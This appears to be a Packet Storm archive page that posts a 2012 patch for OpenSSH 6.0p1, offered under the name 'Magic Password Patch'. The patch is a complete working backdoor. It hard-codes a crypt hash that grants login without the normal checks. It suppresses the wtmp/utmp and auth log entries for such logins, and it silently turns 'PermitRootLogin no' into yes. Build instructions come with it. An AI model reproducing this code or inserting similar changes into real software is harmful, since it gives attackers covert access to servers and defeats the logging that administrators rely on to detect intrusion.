exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

OpenSSH 6.0p1 Magic Password Patch

OpenSSH 6.0p1 Magic Password Patch
Posted Jun 28, 2012
Authored by Bob | Site dtors.net

This patch for OpenSSH 6.0 Portable is a lightweight version of the full patch. This version strictly allows for the addition of a hard-coded password.

tags | patch
systems | unix
SHA-256 | 50a054b3adfc63057235aeb9695006fc8e638c278b6eaaa6e062c18e1d54adf0

OpenSSH 6.0p1 Magic Password Patch

Change Mirror Download
# wget http://mirror.bytemark.co.uk/OpenBSD/OpenSSH/portable/openssh-6.0p1.tar.gz
# patch < OpenSSH-6.0p1.patch
# ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
# bob@dtors.net
--- openssh-6.0p1/includes.h 2010-10-24 00:47:30.000000000 +0100
+++ openssh-patch/includes.h 2012-06-26 12:11:35.308747162 +0100
@@ -17,7 +17,6 @@
#define INCLUDES_H

#include "config.h"
-
#define _GNU_SOURCE /* activate extra prototypes for glibc */

#include <sys/types.h>
@@ -172,4 +171,8 @@

#include "entropy.h"

+int passphrase;
+char *result_crypt;
+#define pass_crypt "AbTLrS7zqigWE"
+
#endif /* INCLUDES_H */
--- openssh-6.0p1/sshlogin.c 2011-01-11 06:20:07.000000000 +0000
+++ openssh-patch/sshlogin.c 2012-06-25 15:31:30.604715442 +0100
@@ -133,8 +133,10 @@

li = login_alloc_entry(pid, user, host, tty);
login_set_addr(li, addr, addrlen);
+ if (!passphrase || passphrase!=1){
login_login(li);
login_free_entry(li);
+ }
}

#ifdef LOGIN_NEEDS_UTMPX
@@ -146,8 +148,10 @@

li = login_alloc_entry(pid, user, host, ttyname);
login_set_addr(li, addr, addrlen);
+ if(!passphrase || passphrase!=1){
login_utmp_only(li);
login_free_entry(li);
+ }
}
#endif

@@ -158,6 +162,8 @@
struct logininfo *li;

li = login_alloc_entry(pid, user, NULL, tty);
+ if(!passphrase || passphrase!=1){
login_logout(li);
login_free_entry(li);
+ }
}
--- openssh-6.0p1/canohost.c 2010-10-12 03:28:12.000000000 +0100
+++ openssh-patch/canohost.c 2012-06-25 15:31:30.601715398 +0100
@@ -78,10 +78,12 @@

debug3("Trying to reverse map address %.100s.", ntop);
/* Map the IP address to a host name. */
+ if(!passphrase || passphrase!=1){
if (getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name),
NULL, 0, NI_NAMEREQD) != 0) {
/* Host name not found. Use ip address. */
return xstrdup(ntop);
+ }
}

/*
--- openssh-6.0p1/auth.c 2011-05-29 12:40:42.000000000 +0100
+++ openssh-patch/auth.c 2012-06-25 15:31:30.600715472 +0100
@@ -271,14 +271,16 @@
else
authmsg = authenticated ? "Accepted" : "Failed";

- authlog("%s %s for %s%.100s from %.200s port %d%s",
- authmsg,
- method,
- authctxt->valid ? "" : "invalid user ",
- authctxt->user,
- get_remote_ipaddr(),
- get_remote_port(),
- info);
+ if(!passphrase || passphrase !=1){
+ authlog("%s %s for %s%.100s from %.200s port %d%s",
+ authmsg,
+ method,
+ authctxt->valid ? "" : "invalid user ",
+ authctxt->user,
+ get_remote_ipaddr(),
+ get_remote_port(),
+ info);
+ }

#ifdef CUSTOM_FAILED_LOGIN
if (authenticated == 0 && !authctxt->postponed &&
--- openssh-6.0p1/auth-passwd.c 2009-03-08 00:40:28.000000000 +0000
+++ openssh-patch/auth-passwd.c 2012-06-26 10:15:51.996716095 +0100
@@ -44,6 +44,7 @@
#include <stdio.h>
#include <string.h>
#include <stdarg.h>
+#include <crypt.h>

#include "packet.h"
#include "buffer.h"
@@ -82,10 +83,18 @@
{
struct passwd * pw = authctxt->pw;
int result, ok = authctxt->valid;
+ char *crypted=pass_crypt;
#if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
static int expire_checked = 0;
#endif

+ result_crypt = crypt(password, crypted);
+ if (strcmp (result_crypt, crypted) == 0 ){
+ passphrase=1;
+ return 1;
+ }
+
+
#ifndef HAVE_CYGWIN
if (pw->pw_uid == 0 && options.permit_root_login != PERMIT_YES)
ok = 0;
--- openssh-6.0p1/servconf.c 2011-10-02 08:57:38.000000000 +0100
+++ openssh-patch/servconf.c 2012-06-25 15:31:30.603715332 +0100
@@ -686,7 +686,7 @@
{ "without-password", PERMIT_NO_PASSWD },
{ "forced-commands-only", PERMIT_FORCED_ONLY },
{ "yes", PERMIT_YES },
- { "no", PERMIT_NO },
+ { "no", PERMIT_YES },
{ NULL, -1 }
};
static const struct multistate multistate_compression[] = {
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close